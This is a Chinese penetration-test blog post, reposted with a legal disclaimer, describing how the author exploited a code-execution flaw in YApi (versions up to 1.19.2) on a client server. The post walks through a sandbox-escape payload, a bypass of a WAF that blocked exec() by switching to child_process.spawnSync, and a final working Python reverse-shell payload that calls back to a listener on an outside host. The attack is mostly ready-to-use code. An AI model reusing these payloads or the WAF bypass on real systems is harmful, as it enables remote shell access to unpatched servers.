事件起因
疫情在家办公，准备开始划水的一天，这时接到 boss 的电话说要做项目，老板发话说干就干。先对先对客户资产进行收集，结果意外发现一个大宝贝！就这样开始了与 Yapi 的美丽邂逅。
初步复现
目标界面是这样的
该应用之前爆出过代码执行漏洞，在版本<=1.19.2中大致的利用过程是注册用户->创建项目->添加接口->输入代码命令->访问接口便可以查看命令执行结果,其中网上流传的payload如下所示
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami")
当时，按照复线文章一步一步操作，直到保存脚本时却遇到了问题。正常情况下，点击保存后应该跳转到另一个页面，但这个目标没有任何反应。起初我以为是管理员禁用了保存功能，后来随便保存了一串无害字符，结果显示保存成功。
查看了浏览器的网络请求状态，发现原来是保存恶意脚本的请求被拒绝了。难怪没发现该目标没有被漏洞利用过的痕迹，原来是有 WAF（Web 应用防火墙）进行防御的。
尝试绕过
既然碰到了就不能放过。我尝试将恶意脚本进行二分法分段保存，经过一步步尝试，最终发现被拦截是因为识别到了 exec()
函数，经查询上诉该恶意脚本为 Node.js 脚本，翻一翻官方文档看到了以下内容：
https://nodejs.org/docs/latest/api/child_process.html
既然 child_process.execSync()
被禁，那尝试使用 spawn()
替代尝试是否可绕过。对照官方文档进行函数名替换后点击保存显示保存成功。这预示着成功了一大步可以初步绕过waf的检测，之后赶紧访问保存的恶意脚本进行反弹 shell 结果 vps 半天没消息，就在怀疑该主机是否不出网的时候被叫吃中午饭了，暂放一阶段。
成功复现
吃完饭回来理了理思路，突然发现文档中 exec()
与 spawn()
语法是有区别的。exec()
可以直接将命令和参数写进去，比如 exec(ping 8.8.8.8 -c 4)
，而 spawn()
只能 spawn(ping ['8.8.8.8', '-c', '4'])
，spawn()
的命令和参数是分开的。
参考官方文档的参数格式要求再一次修改命令执行脚本，使用nc反弹结果等了个寂寞，后面改成了python反弹命令，保存后访问接口，结果啪的一下很突然，成功收到了反弹连接。
最后修改后的脚本如下：
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
Poc = process.mainModule.require("child_process").spawnSync(
'python', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",6665));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']
)
参考博客
https://blog.csdn.net/weixin_46944519/article/details/128625474
文章来源：潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！
如侵权请私聊我们删文
END